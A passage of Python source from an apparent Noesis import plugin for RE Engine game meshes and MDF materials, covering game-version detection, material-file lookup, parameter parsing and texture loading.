[]\n\t\tself.fullMatList = []\n\t\tself.fullRemapTable = []\n\t\tself.setGameName()\n\t\tself.gameName = sGameName\n\t\tself.ver = formats[sGameName][\"meshVersion\"]\n\t\tself.mdfVer = formats[sGameName][\"mdfVersion\"]\n\t\tself.name = \"LOD\" if bShorterNames else \"LODGroup\"\n\t\tself.meshFile = None\n\t\tself.mdfFile = None\n\t\tself.pos = NoeVec3((0,0,0))\n\t\tself.rot = NoeQuat((0,0,0,1))\n\t\tself.scl = NoeVec3((1,1,1))\n\t\tself.uvBias = {}\n\t\tsetOffsets(self.ver)\n\t\t\n\tdef setGameName(self):\n\t\tglobal sGameName, bSkinningEnabled, isSF6, isExoPrimal\n\t\tsGameName = \"RE2\"\n\t\tmeshVersion = readUIntAt(self.inFile, 4)\n\t\tisSF6 = isExoPrimal = False\n\t\tif meshVersion == 220822879:\n\t\t\tisSF6 = 2\n\t\t\tsGameName = \"RE4\"\n\t\telif (meshVersion == 220705151 and self.path.find(\".220907984\") != -1):\n\t\t\tisSF6 = 2\n\t\t\t#isExoPrimal = True\n\t\t\tsGameName = \"ExoPrimal\"\n\t\telif (meshVersion == 220705151 and (self.path.find(\".230110883\") != -1) or self.path.find(\".220721329\") != -1):\n\t\t\tisSF6 = True\n\t\t\tsGameName = \"SF6\"\n\t\telif meshVersion == 21041600: # or self.path.find(\".2109108288\") != -1: #RE2RT + RE3RT, and RE7RT\n\t\t\tsGameName = \"RE7RT\" if self.path.find(\".220128762\") != -1 else \"RERT\"\n\t\telif self.path.find(\".1808282334\") != -1:\n\t\t\tsGameName = \"DMC5\"\n\t\telif self.path.find(\".1902042334\") != -1: #386270720\n\t\t\tsGameName = \"RE3\"\n\t\telif self.path.find(\".2102020001\") != -1:\n\t\t\tsGameName = \"ReVerse\"\n\t\telif meshVersion == 2020091500 or self.path.find(\".2101050001\") != -1:\n\t\t\tsGameName = \"RE8\"\n\t\telif (meshVersion == 2007158797 or self.path.find(\".2008058288\") != -1): #Vanilla MHRise\n\t\t\tsGameName = \"MHRise\"\n\t\telif (meshVersion == 21061800 or self.path.find(\".2109148288\") != -1): #MHRise Sunbreak version\n\t\t\tsGameName = \"MHRSunbreak\"\n\t\t\n\t'''MDF IMPORT ========================================================================================================================================================================'''\n\tdef createMaterials(self, matCount):\n\t\tglobal bColorize, bPrintMDF, sGameName, sExportExtension\n\t\t\n\t\tdoColorize = bColorize\n\t\tdoPrintMDF = bPrintMDF\n\t\tnoMDFFound = 0\n\t\tskipPrompt = 0\n\t\t\n\t\tmodelExt = formats[sGameName][\"modelExt\"]\n\t\ttexExt = formats[sGameName][\"texExt\"]\n\t\tmmtrExt = formats[sGameName][\"mmtrExt\"]\n\t\tnDir = formats[sGameName][\"nDir\"]\n\t\tmdfExt = formats[sGameName][\"mdfExt\"]\n\t\textractedNativesPath = LoadExtractedDir(sGameName)\n\t\t\n\t\t#Try to find & save extracted game dir for later if extracted game dir is unknown\n\t\tif extractedNativesPath == \"\":\n\t\t\tdirName = GetRootGameDir(self.path)\n\t\t\tif (dirName.endswith(\"chunk_000\\\\natives\\\\\" + nDir + \"\\\\\")):\n\t\t\t\tprint (\"Saving extracted natives path...\")\n\t\t\t\tif SaveExtractedDir(dirName, sGameName):\n\t\t\t\t\textractedNativesPath = dirName\n\t\t\t\t\t\n\t\tif extractedNativesPath != \"\":\n\t\t\tprint (\"Using this extracted natives path:\", extractedNativesPath + \"\\n\")\n\t\t\t\n\t\t#Try to guess MDF filename\n\t\tinputName = self.path #rapi.getInputName()\n\t\tisSCN = (rapi.getInputName().lower().find(\".scn\") != -1)\n\t\tif inputName.find(\".noesis\") != -1:\n\t\t\tinputName = rapi.getLastCheckedName()\n\t\t\tskipPrompt = 2\n\t\t\tdoPrintMDF = 0\n\t\telif dialogOptions.doLoadTex or isSCN: # len(self.fullMatList) > 0 or len(self.fullBoneList) > 0:\n\t\t\tskipPrompt = 2\n\t\t\tdoPrintMDF = 0\n\t\t\n\t\tpathPrefix = inputName\n\t\twhile pathPrefix.find(\"out.\") != -1: \n\t\t\tpathPrefix = pathPrefix.replace(\"out.\",\".\")\n\t\tpathPrefix = pathPrefix.replace(\".mesh\", \"\").replace(modelExt,\"\").replace(\".NEW\", \"\")\n\t\t\n\t\tif sGameName == \"ReVerse\" and os.path.isdir(os.path.dirname(inputName) + \"\\\\Material\"):\n\t\t\tpathPrefix = (os.path.dirname(inputName) + \"\\\\Material\\\\\" + rapi.getLocalFileName(inputName).replace(\"SK_\", \"M_\")).replace(\".NEW\", \"\")\n\t\t\twhile pathPrefix.find(\"out.\") != -1: \n\t\t\t\tpathPrefix = pathPrefix.replace(\"out.\",\".\")\n\t\t\tpathPrefix = pathPrefix.replace(\".mesh\" + modelExt,\"\")\n\t\t\tif not rapi.checkFileExists(pathPrefix + mdfExt):\n\t\t\t\tpathPrefix = pathPrefix.replace(\"00_\", \"\")\n\t\t\tif not rapi.checkFileExists(pathPrefix + mdfExt):\n\t\t\t\tfor item in os.listdir(os.path.dirname(pathPrefix + mdfExt)):\n\t\t\t\t\tif mdfExt == (\".mdf2\" + os.path.splitext(os.path.join(os.path.dirname(pathPrefix), item))[1]):\n\t\t\t\t\t\tpathPrefix = os.path.join(os.path.dirname(pathPrefix), item) #.replace(mdfExt, \"\")\n\t\t\t\t\t\tbreak\n\t\t\t\n\t\tsimilarityCounter = 0\n\t\togFileName = rapi.getLocalFileName(inputName)\n\t\tif not rapi.checkFileExists(pathPrefix + mdfExt):\n\t\t\tfor item in os.listdir(os.path.dirname(pathPrefix + mdfExt)):\n\t\t\t\tif mdfExt == (\".mdf2\" + os.path.splitext(item)[1]):\n\t\t\t\t\ttest = rapi.getLocalFileName(os.path.join(os.path.dirname(pathPrefix), item)).replace(mdfExt, \"\")\n\t\t\t\t\tsameCharCntr = 0\n\t\t\t\t\tfor c, char in enumerate(test):\n\t\t\t\t\t\tif c < len(ogFileName) and char == ogFileName[c]:\n\t\t\t\t\t\t\tsameCharCntr += 1\n\t\t\t\t\tif sameCharCntr > similarityCounter:\n\t\t\t\t\t\tpathPrefix = os.path.join(os.path.dirname(pathPrefix), item).replace(mdfExt, \"\")\n\t\t\t\t\t\tsimilarityCounter = sameCharCntr\n\t\tmaterialFileName = pathPrefix + mdfExt\n\t\t\n\t\tif not (rapi.checkFileExists(materialFileName)):\n\t\t\tprint(materialFileName, \"does not exist!\") \n\t\t\tmaterialFileName = (pathPrefix + \"_mat\" + mdfExt)\n\t\tif not (rapi.checkFileExists(materialFileName)):\n\t\t\tmaterialFileName = (pathPrefix + \"_00\" + mdfExt)\n\t\tif not (rapi.checkFileExists(materialFileName)):\n\t\t\tif self.mdfVer >= 2: #sGameName == \"RERT\" or sGameName == \"RE3\" or sGameName == \"ReVerse\" or sGameName == \"RE8\" or sGameName == \"MHRise\":\n\t\t\t\tpathPrefix = extractedNativesPath + re.sub(r'.*stm\\\\', '', inputName)\n\t\t\telse:\n\t\t\t\tpathPrefix = extractedNativesPath + re.sub(r'.*x64\\\\', '', inputName) \n\t\t\tpathPrefix = pathPrefix.replace(modelExt,\"\").replace(\".mesh\",\"\")\n\t\t\tmaterialFileName = (pathPrefix + mdfExt)\n\t\t\tprint (materialFileName)\n\t\t\tif not (rapi.checkFileExists(materialFileName)):\n\t\t\t\tmaterialFileName = (pathPrefix + \"_mat\" + mdfExt)\n\t\t\tif not (rapi.checkFileExists(materialFileName)):\n\t\t\t\tmaterialFileName = (pathPrefix + \"_00\" + mdfExt)\n\t\t\t\t\n\t\tif not (rapi.checkFileExists(materialFileName)):\n\t\t\tmaterialFileName = noesis.userPrompt(noesis.NOEUSERVAL_FILEPATH, \"MDF File Not Found\", \"Manually enter the name of the MDF file or cancel.\", os.path.join(os.path.dirname(inputName), rapi.getLocalFileName(materialFileName)) , None)\n\t\t\tif (materialFileName is None):\n\t\t\t\tprint(\"No material file.\")\n\t\t\t\treturn\n\t\t\telif not (rapi.checkFileExists(materialFileName)):\n\t\t\t\tnoMDFFound = 1\n\t\t\tskipPrompt = 1\n\t\t\t\n\t\tmsgName = materialFileName\n\t\t\n\t\t#Prompt for MDF load\n\t\tif not skipPrompt or (skipPrompt == 2 and not rapi.checkFileExists(materialFileName)):\n\t\t\tmsgName = noesis.userPrompt(noesis.NOEUSERVAL_FILEPATH, \"MDF File Detected\", \"Load materials? This may take some time.\", materialFileName, None)\n\t\t\tif msgName is None:\n\t\t\t\tprint(\"No material file.\")\n\t\t\t\treturn False\n\t\t\t\t\n\t\t\t'''if msgName.endswith(\" -c\"):\n\t\t\t\tprint (msgName)\n\t\t\t\tdoColorize = 1\n\t\t\t\tdoPrintMDF = 0\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\tmsgName = msgName.replace(\" -c\", \"\")'''\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\n\t\t\tif ((rapi.checkFileExists(msgName)) and (msgName.endswith(mdfExt))):\n\t\t\t\tmaterialFileName = msgName\n\t\t\telse:\n\t\t\t\tnoMDFFound = 1\n\t\t\n\t\tif (bPopupDebug == 1):\n\t\t\tnoesis.logPopup()\n\t\t\n\t\t#Save a manually entered natives directory path name for later\n\t\tif (msgName.endswith(\"\\\\natives\\\\\" + nDir + \"\\\\\")) and (os.path.isdir(msgName)):\n\t\t\tprint (\"Attempting to write: \")\n\t\t\tif SaveExtractedDir(msgName, sGameName):\n\t\t\t\textractedNativesPath = msgName\n\t\t\t\t\n\t\tif (noMDFFound == 1) or not (rapi.checkFileExists(materialFileName)):\n\t\t\tprint(\"Failed to open material file.\")\n\t\t\treturn False\n\t\n\t\ttexBaseColour = []\n\t\ttexRoughColour = []\n\t\ttexSpecColour = []\n\t\ttexAmbiColour = []\n\t\ttexMetallicColour = []\n\t\ttexFresnelColour = []\n\t\t\t\n\t\tbs = rapi.loadIntoByteArray(materialFileName)\n\t\tbs = NoeBitStream(bs)\n\t\t#Magic, Unknown, MaterialCount, Unknown, Unknown\n\t\tmatHeader = [bs.readUInt(), bs.readUShort(), bs.readUShort(), bs.readUInt(), bs.readUInt()]\n\t\tmatCountMDF = matHeader[2]\n\t\t\n\t\tif matCountMDF != matCount and len(self.fullMatList) == 0:\n\t\t\tprint (\"MDF Checkerboard Error: MDF does not have the same material count as the MESH file!\\n\tMESH materials:\", matCount, \"\\n\tMDF Materials:\", matCountMDF)\n\t\t\treturn 0\n\t\t\n\t\tusedMats = [mat.name for mat in self.fullMatList]\n\t\tusedTexs = [tex.name for tex in self.fullTexList]\n\t\t\n\t\t#Parse Materials\n\t\tfor i in range(matCountMDF):\n\t\t\t\n\t\t\tif self.mdfVer > 3: #isSF6 or isExoPrimal:\n\t\t\t\tbs.seek(0x10 + (i * 100))\n\t\t\telif self.mdfVer > 2:#sGameName == \"RERT\" or sGameName == \"ReVerse\" or sGameName == \"RE8\" or sGameName == \"MHRise\":\n\t\t\t\tbs.seek(0x10 + (i * 80))\n\t\t\telse:\n\t\t\t\tbs.seek(0x10 + (i * 64))\n\t\t\t\n\t\t\tmaterialNamesOffset = bs.readUInt64()\n\t\t\tmaterialHash = bs.readInt()\n\t\t\tsizeOfFloatStr = bs.readUInt()\n\t\t\tfloatCount = bs.readUInt()\n\t\t\ttexCount = bs.readUInt()\n\t\t\t\n\t\t\tif self.mdfVer >= 3:\n\t\t\t\tbs.seek(8,1)\n\t\t\t\t\n\t\t\tshaderType = bs.readUInt()\n\t\t\tif self.mdfVer >= 4:\n\t\t\t\tuknSF6int = bs.readUInt()\n\t\t\t\t\n\t\t\talphaFlag = bs.readUInt()\n\t\t\t\n\t\t\tif self.mdfVer >= 4:\n\t\t\t\tuknSF6int2 = bs.readUInt()\n\t\t\t\tuknSF6int3 = bs.readUInt()\n\t\t\t\t\n\t\t\tfloatHdrOffs = bs.readUInt64()\n\t\t\ttexHdrOffs = bs.readUInt64()\n\t\t\tif self.mdfVer >= 3:\n\t\t\t\tfirstMtrlNameOffs = bs.readUInt64()\n\t\t\tfloatStartOffs = bs.readUInt64()\n\t\t\tmmtr_PathOffs = bs.readUInt64()\n\t\t\t\n\t\t\tif self.mdfVer >= 4: #isSF6 or isExoPrimal:\n\t\t\t\tuknSF6offset = bs.readUInt64()\n\t\t\t\t\n\t\t\tbs.seek(materialNamesOffset)\n\t\t\tmaterialName = ReadUnicodeString(bs)\n\t\t\tbs.seek(mmtr_PathOffs)\n\t\t\tmmtrName = ReadUnicodeString(bs)\n\t\t\thasTransparency = not not (((alphaFlag & ( 1 << 1 )) >> 1) or ((alphaFlag & ( 1 << 4 )) >> 4))\n\t\t\thasTransparency = hasTransparency or mmtrName.lower().find(\"_dirt\") != -1 or mmtrName.lower().find(\"_decal\") != -1 \n\t\t\t\n\t\t\tif bPrintFileList:\n\t\t\t\tself.texNames.append((\"natives/\" + nDir + \"/\" + mmtrName + mmtrExt).lower())\n\t\t\t\tif not rapi.checkFileExists(extractedNativesPath + (mmtrName + mmtrExt).lower()) and not rapi.checkFileExists(self.rootDir + (mmtrName + mmtrExt).lower()) and rapi.getInputName().find(\"natives\".lower()) != -1:\n\t\t\t\t\tself.missingTexNames.append(\"DOES NOT EXIST \" + (\"natives/\" + nDir + \"/\" + mmtrName + mmtrExt).lower())\n\t\t\t\n\t\t\tif doPrintMDF:\n\t\t\t\tprint(materialName + \"[\" + str(i) + \"]\\n\")\n\t\t\t\n\t\t\tself.matNames.append(materialName)\n\t\t\tself.matHashes.append(materialHash)\n\t\t\tmaterialFlags = 0\n\t\t\tmaterialFlags2 = 0\n\t\t\tmaterial = NoeMaterial(materialName, \"\")\n\t\t\tmaterial.setDefaultBlend(0)\n\t\t\t#material.setBlendMode(\"GL_ONE\", \"GL_ONE\")\n\t\t\n\t\t\t#Parse Textures\n\t\t\ttextureInfo = []\n\t\t\tparamInfo = []\n\t\t\t\n\t\t\tbFoundBM = False\n\t\t\tbFoundNM = False\n\t\t\tbFoundSSSM = False\n\t\t\t\t\n\t\t\tbFoundBaseColour = False\n\t\t\tbFoundRoughColour = False\n\t\t\tbFoundSpecColour = False\n\t\t\tbFoundAmbiColour = False\n\t\t\tbFoundMetallicColour = False\n\t\t\tbFoundFresnelColour = False\n\t\t\t\n\t\t\tif doPrintMDF:\n\t\t\t\tprint (\"Material Properties:\")\n\t\t\t\t\n\t\t\tfor j in range(floatCount): # floats\n\t\t\t\tbs.seek(floatHdrOffs + (j * 0x18))\n\t\t\t\tparamInfo.append([bs.readUInt64(), bs.readUInt64(), bs.readUInt(), bs.readUInt()]) #dscrptnOffs[0], type[1], strctOffs[2], numFloats[3] \n\t\t\t\tbs.seek(paramInfo[j][0])\n\t\t\t\tparamType = ReadUnicodeString(bs)\n\t\t\t\t\n\t\t\t\tcolours = None\n\t\t\t\tif self.mdfVer >= 2: #sGameName == \"RERT\" or sGameName == \"RE3\" or sGameName == \"ReVerse\" or sGameName == \"RE8\" or sGameName == \"MHRise\" or sGameName == \"SF6\":\n\t\t\t\t\tbs.seek(floatStartOffs + paramInfo[j][2])\n\t\t\t\t\tif paramInfo[j][3] == 4:\n\t\t\t\t\t\tcolours = NoeVec4((bs.readFloat(), bs.readFloat(), bs.readFloat(), bs.readFloat()))\n\t\t\t\t\telif paramInfo[j][3] == 1:\n\t\t\t\t\t\tcolours = bs.readFloat()\n\t\t\t\telse:\n\t\t\t\t\tbs.seek(floatStartOffs + paramInfo[j][3])\n\t\t\t\t\tif paramInfo[j][2] == 4:\n\t\t\t\t\t\tcolours = NoeVec4((bs.readFloat(), bs.readFloat(), bs.readFloat(), bs.readFloat()))\n\t\t\t\t\telif paramInfo[j][2] == 1:\n\t\t\t\t\t\tcolours = bs.readFloat()\n\t\t\t\t\t\n\t\t\t\tif doPrintMDF:\n\t\t\t\t\tprint(paramType + \":\", colours)\n\t\t\t\t\n\t\t\t\tif paramType == \"BaseColor\" and not bFoundBaseColour:\n\t\t\t\t\tbFoundBaseColour = True\n\t\t\t\t\ttexBaseColour.append(colours)\n\t\t\t\tif paramType == \"Roughness\" and not bFoundRoughColour:\n\t\t\t\t\tbFoundRoughColour = True\n\t\t\t\t\ttexRoughColour.append(colours)\n\t\t\t\tif paramType == \"PrimalySpecularColor\" and not bFoundSpecColour:\n\t\t\t\t\tbFoundSpecColour = True\n\t\t\t\t\ttexSpecColour.append(colours)\n\t\t\t\tif paramType == \"AmbientColor\" and not bFoundAmbiColour:\n\t\t\t\t\tbFoundAmbiColour = True\n\t\t\t\t\ttexAmbiColour.append(colours)\n\t\t\t\tif paramType == \"Metallic\" and not bFoundMetallicColour:\n\t\t\t\t\tbFoundMetallicColour = True\n\t\t\t\t\ttexMetallicColour.append(colours)\n\t\t\t\tif paramType == \"Fresnel_DiffuseIntensity\" and not bFoundFresnelColour:\n\t\t\t\t\tbFoundFresnelColour = True\n\t\t\t\t\ttexFresnelColour.append(colours)\n\t\t\t\tif paramType == \"Occlusion_UseSecondaryUV\" and colours != 0:\n\t\t\t\t\tmaterialFlags2 |= noesis.NMATFLAG2_OCCL_UV1\n\t\t\t\n\t\t\t#Append defaults\n\t\t\tif not bFoundBaseColour:\n\t\t\t\ttexBaseColour.append(NoeVec4((1.0, 1.0, 1.0, 1.0)))\n\t\t\tif not bFoundRoughColour:\n\t\t\t\ttexRoughColour.append(1.0)\n\t\t\tif not bFoundSpecColour:\n\t\t\t\ttexSpecColour.append(NoeVec4((0.5, 0.5, 0.5, 0.5)))\n\t\t\tif not bFoundAmbiColour:\n\t\t\t\ttexAmbiColour.append(NoeVec4((1.0, 1.0, 1.0, 1.0)))\n\t\t\tif not bFoundMetallicColour:\n\t\t\t\ttexMetallicColour.append(1.0)\n\t\t\tif not bFoundFresnelColour:\n\t\t\t\ttexFresnelColour.append(0.8)\n\t\t\t\n\t\t\tif doPrintMDF:\n\t\t\t\tprint (\"\\nTextures for \" + materialName + \"[\" + str(i) + \"]\" + \":\")\n\t\t\t\n\t\t\talreadyLoadedTexs = [tex.name for tex in self.fullTexList]\n\t\t\talreadyLoadedMats = [mat.name for mat in self.fullMatList]\n\t\t\tsecondaryDiffuse = \"\"\n\t\t\t\n\t\t\tfor j in range(texCount): # texture headers\n\t\t\t\t\n\t\t\t\tif self.mdfVer >= 2: #sGameName == \"RERT\" or sGameName == \"RE3\" or sGameName == \"ReVerse\" or sGameName == \"RE8\" or sGameName == \"MHRise\" or sGameName == \"SF6\":\n\t\t\t\t\tbs.seek(texHdrOffs + (j * 0x20))\n\t\t\t\t\ttextureInfo.append([bs.readUInt64(), bs.readUInt64(), bs.readUInt64(), bs.readUInt64()]) #TextureTypeOffset[0], uknBytes[1], TexturePathOffset[2], padding[3]\n\t\t\t\t\tif self.mdfVer >= 4: #isSF6 or isExoPrimal:\n\t\t\t\t\t\tbs.seek(8,1)\n\t\t\t\telse:\n\t\t\t\t\tbs.seek(texHdrOffs + (j * 0x18))\n\t\t\t\t\ttextureInfo.append([bs.readUInt64(), bs.readUInt64(), bs.readUInt64()])\n\t\t\t\tbs.seek(textureInfo[j][0])\n\t\t\t\ttextureType = ReadUnicodeString(bs)\n\t\t\t\tbs.seek(textureInfo[j][2])\n\t\t\t\ttextureName = ReadUnicodeString(bs).replace(\"@\", \"\")\n\t\t\t\t\n\t\t\t\ttextureFilePath = \"\"\n\t\t\t\ttexName = \"\"\n\t\t\t\tisNotMainTexture = False\n\t\t\t\topacityName = \"\"\n\t\t\t\textraParam = \"\"\n\t\t\t\t\n\t\t\t\tif bFoundBaseColour:\n\t\t\t\t\tmaterial.setDiffuseColor(texBaseColour[i])\n\t\t\t\tif bFoundSpecColour:\n\t\t\t\t\tmaterial.setSpecularColor(texSpecColour[i])\n\t\t\t\tif bFoundAmbiColour:\n\t\t\t\t\tmaterial.setAmbientColor(texAmbiColour[i])\n\t\t\t\tif bFoundMetallicColour:\n\t\t\t\t\tmaterial.setMetal(texMetallicColour[i], 0.25)\n\t\t\t\tif bFoundRoughColour:\n\t\t\t\t\tmaterial.setRoughness(texRoughColour[i], 0.25)\n\t\t\t\tif bFoundFresnelColour:\n\t\t\t\t\tmaterial.setEnvColor(NoeVec4((1.0, 1.0, 1.0, texFresnelColour[i])))\n\t\t\t\t\n\t\t\t\ttmpExt = texExt\n\t\t\t\tfor k in range(2):\n\t\t\t\t\tif not rapi.checkFileExists(textureFilePath):\n\t\t\t\t\t\tif (rapi.checkFileExists(self.rootDir + \"streaming/\" + textureName + tmpExt)):\n\t\t\t\t\t\t\ttextureFilePath = self.rootDir + \"streaming/\" + textureName + tmpExt\t\t\t\t\t\t\n\t\t\t\t\t\t\ttexName = rapi.getLocalFileName(self.rootDir + \"streaming/\" + textureName).rsplit('.', 1)[0] + texOutputExt\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\telif (rapi.checkFileExists(self.rootDir + textureName + tmpExt)):\n\t\t\t\t\t\t\ttextureFilePath = self.rootDir + textureName + tmpExt\n\t\t\t\t\t\t\ttexName = rapi.getLocalFileName(self.rootDir + textureName).rsplit('.', 1)[0] + texOutputExt\n\t\t\t\t\t\t\tif bPrintFileList and not (rapi.checkFileExists(self.rootDir + textureName + tmpExt)):\n\t\t\t\t\t\t\t\tself.missingTexNames.append(\"DOES NOT EXIST: \" + (('natives/' + (re.sub(r'.*natives\\\\', '', textureFilePath)).lower()).replace(\"\\\\\",\"/\")).replace(extractedNativesPath,''))\n\t\t\t\t\t\t\t\n\t\t\t\t\t\telif (rapi.checkFileExists(extractedNativesPath + \"streaming/\" + textureName + tmpExt)):\n\t\t\t\t\t\t\ttextureFilePath = extractedNativesPath + \"streaming/\" + textureName + tmpExt\n\t\t\t\t\t\t\ttexName = rapi.getLocalFileName(extractedNativesPath + \"streaming/\" + textureName).rsplit('.', 1)[0] + texOutputExt\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\telif (rapi.checkFileExists(extractedNativesPath + textureName + tmpExt)):\n\t\t\t\t\t\t\ttextureFilePath = extractedNativesPath + textureName + tmpExt\n\t\t\t\t\t\t\ttexName = rapi.getLocalFileName(extractedNativesPath + textureName).rsplit('.', 1)[0] + texOutputExt\n\t\t\t\t\t\t\tif bPrintFileList and not (rapi.checkFileExists(extractedNativesPath + textureName + tmpExt)):\n\t\t\t\t\t\t\t\tself.missingTexNames.append(\"DOES NOT EXIST: \" + ('natives/' + (re.sub(r'.*natives\\\\', '', textureFilePath)).lower()).replace(\"\\\\\",\"/\").replace(extractedNativesPath,''))\n\t\t\t\t\t\t\t\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\ttextureFilePath = self.rootDir + textureName + tmpExt\n\t\t\t\t\t\t\ttexName = rapi.getLocalFileName(self.rootDir + textureName).rsplit('.', 1)[0] + texOutputExt\n\t\t\t\t\t\t\tif bPrintFileList and not (textureFilePath.endswith(\"rtex\" + tmpExt)) and (k==1 or sGameName.find(\"MHR\") == -1):\n\t\t\t\t\t\t\t\tself.missingTexNames.append(\"DOES NOT EXIST: \" + ('natives/' + (re.sub(r'.*natives\\\\', '', textureFilePath)).lower()).replace(\"\\\\\",\"/\").replace(\"streaming/\",\"\"))\n\t\t\t\t\t\tif \"MHR\" not in sGameName:\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\ttmpExt += \".stm\"\n\t\t\t\t\n\t\t\t\tbAlreadyLoadedTexture = (texName in alreadyLoadedTexs)\n\t\t\t\tbAlreadyLoadedMat = (materialName in alreadyLoadedMats)\n\t\t\t\t\t\t\n\t\t\t\tif bPrintFileList: #and rapi.getInputName().find(\"natives\".lower()) != -1:\n\t\t\t\t\tif not (textureName.endswith(\"rtex\")):\n\t\t\t\t\t\tnewTexPath = ((('natives/' + (re.sub(r'.*natives\\\\', '', textureFilePath))).replace(\"\\\\\",\"/\")).replace(extractedNativesPath,'')).lower()\n\t\t\t\t\t\tself.texNames.append(newTexPath)\n\t\t\t\t\t\tif newTexPath.find('streaming') != -1:\n\t\t\t\t\t\t\ttestPath = newTexPath.replace('natives/' + nDir + '/streaming/', '')\n\t\t\t\t\t\t\tif rapi.checkFileExists(self.rootDir + testPath) or rapi.checkFileExists(extractedNativesPath + testPath):\n\t\t\t\t\t\t\t\tself.texNames.append(newTexPath.replace('streaming/',''))\n\t\t\t\t\n\t\t\t\tlowerTexName = texName.lower()\n\t\t\t\t#if ((\"BaseMetal\" in textureType or \"BaseDielectric\" in textureType or \"BaseAlpha\" in textureType or \"BaseShift\" in textureType)) and not bFoundBM: #\n\t\t\t\tif \"_alb\" in lowerTexName and (not bFoundBM or (\"_albm\" in lowerTexName or \"_albd\" in lowerTexName)): #goddamn RE8\n\t\t\t\t\tbFoundBM = True\n\t\t\t\t\tmaterial.setTexture(texName)\n\t\t\t\t\tprint(\"set diffuse\", texBaseColour[i])\n\t\t\t\t\tmaterial.setSpecularColor([.25, .25, .25, 1])\n\t\t\t\t\tif \"AlphaMap\" in textureType:\n\t\t\t\t\t\textraParam = \"isALBA\"\n\t\t\t\t\tif \"Metal\" in textureType:\n\t\t\t\t\t\textraParam = \"isALBM\"\n\t\t\t\t\tif \"Dielectric\" in textureType:\n\t\t\t\t\t\textraParam = \"isALBD\"\n\t\t\t\t\tself.uvBias[material.name] = [0.5, 0.5] if sGameName == \"RE7RT\" and \"atlas\" in lowerTexName else 1.0\n\t\t\t\t#elif ((\"Normal\" in textureType or \"NR\" in textureType) or \"_nr\" in lowerTexName) and not bFoundNM:\n\t\t\t\telif \"_nr\" in lowerTexName and not bFoundNM:\n\t\t\t\t\tbFoundNM = True\n\t\t\t\t\tmaterial.setNormalTexture(texName)\n\t\t\t\t\textraParam = \"isNRM\"\n\t\t\t\t\tif textureType == \"NormalRoughnessMap\":\n\t\t\t\t\t\tmaterialFlags |= noesis.NMATFLAG_PBR_ROUGHNESS_NRMALPHA\n\t\t\t\t\tif \"NRR\" in textureType or textureType == \"NormalRoughnessTranslucentMap\" or textureType == \"NormalRoughnessCavityMap\":\n\t\t\t\t\t\textraParam = \"isNRR\"\n\t\t\t\telif \"AlphaTranslucent\" in textureType and not bFoundSSSM:\n\t\t\t\t\tbFoundSSSM = True\n\t\t\t\t\tmaterial.setOcclTexture(texName.replace(texOutputExt, \"_NoesisAO\" + texOutputExt))\n\t\t\t\t\textraParam = \"isATOS_Alpha\" if hasTransparency else \"isATOS\"\n\t\t\t\t\tmaterial.setOcclTexture(texName.replace(texOutputExt, \"_NoesisAO\" + texOutputExt))\n\t\t\t\telif textureType == \"AlphaMap\":\n\t\t\t\t\topacityName = texName\n\t\t\t\t#elif \"_lymo\" in lowerTexName:\n\t\t\t\t#\textraParam = \"isLYMO\"\n\t\t\t\telif re.search(\"^Base.*Map$\", textureType) and not secondaryDiffuse:\n\t\t\t\t#elif (\"_alb\" in lowerTexName) and not secondaryDiffuse:\n\t\t\t\t\tsecondaryDiffuse = texName\n\t\t\t\telif not dialogOptions.loadAllTextures:\n\t\t\t\t\tisNotMainTexture = True\n\t\t\t\t\t\n\t\t\t\tif not bAlreadyLoadedTexture and not isNotMainTexture:\n\t\t\t\t\tif (textureName.endswith(\"rtex\")):\n\t\t\t\t\t\tpass\n\t\t\t\t\telif not (rapi.checkFileExists(textureFilePath)):\n\t\t\t\t\t\tif textureFilePath != \"\": \n\t\t\t\t\t\t\tprint(\"Error: Texture at path: \" + str(textureFilePath) + \" does not exist!\")\n\t\t\t\t\telse:\n\t\t\t\t\t\ttextureData = rapi.loadIntoByteArray(textureFilePath)\n\t\t\t\t\t\tnumTex = len(self.texList)\n\t\t\t\t\t\tnoetex = texLoadDDS(textureData, self.texList, texName)\n\t\t\t\t\t\tif noetex:\n\t\t\t\t\t\t\tif dialogOptions.doConvertTex:\n\t\t\t\t\t\t\t\tif \"isALBM\" == extraParam or \"isALBD\" == extraParam:\n\t\t\t\t\t\t\t\t\tif \"isALBD\" == extraParam:\n\t\t\t\t\t\t\t\t\t\tnoetex.pixelData = invertRawRGBAChannel(noetex.pixelData, 3)\n\t\t\t\t\t\t\t\t\tmaterialFlags |= noesis.NMATFLAG_PBR_METAL\n\t\t\t\t\t\t\t\t\tif dialogOptions.doConvertMatsForBlender:\n\t\t\t\t\t\t\t\t\t\tmetalTexData = rapi.imageEncodeRaw(noetex.pixelData, noetex.width, noetex.height, \"a8a8a8\")\n\t\t\t\t\t\t\t\t\t\tmetalTexData = rapi.imageDecodeRaw(metalTexData, noetex.width, noetex.height, \"r8g8b8\")\n\t\t\t\t\t\t\t\t\t\tnoetex.pixelData = rapi.imageEncodeRaw(noetex.pixelData, noetex.width, noetex.height, \"r8g8b8\")\n\t\t\t\t\t\t\t\t\t\tnoetex.pixelData = rapi.imageDecodeRaw(noetex.pixelData, noetex.width, noetex.height, \"r8g8b8\")\n\t\t\t\t\t\t\t\t\t\tif not isImageBlank(metalTexData, noetex.width, noetex.height, 4):\n\t\t\t\t\t\t\t\t\t\t\tmetalTexName = texName.replace(texOutputExt, \"_NoesisMET\" + texOutputExt)\n\t\t\t\t\t\t\t\t\t\t\tmaterial.setSpecularTexture(metalTexName)\n\t\t\t\t\t\t\t\t\t\t\tself.texList.append(NoeTexture(metalTexName, noetex.width, noetex.height, metalTexData, noesis.NOESISTEX_RGBA32))\n\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\tmaterial.setSpecularTexture(texName)\n\t\t\t\t\t\t\t\t\t\tmaterial.setSpecularSwizzle( NoeMat44([[1, 0, 0, 0], [0, 0, 0, 1], [0, 0, 1, 0], [0, 1, 0, 0]])) #move alpha channel to green channel\n\t\t\t\t\t\t\t\tif dialogOptions.doConvertMatsForBlender and (\"isNRM\" == extraParam or \"isNRR\" in extraParam):\n\t\t\t\t\t\t\t\t\troughnessTexData = rapi.imageEncodeRaw(noetex.pixelData, noetex.width, noetex.height, \"a8a8a8\" if \"isNRM\" == extraParam else 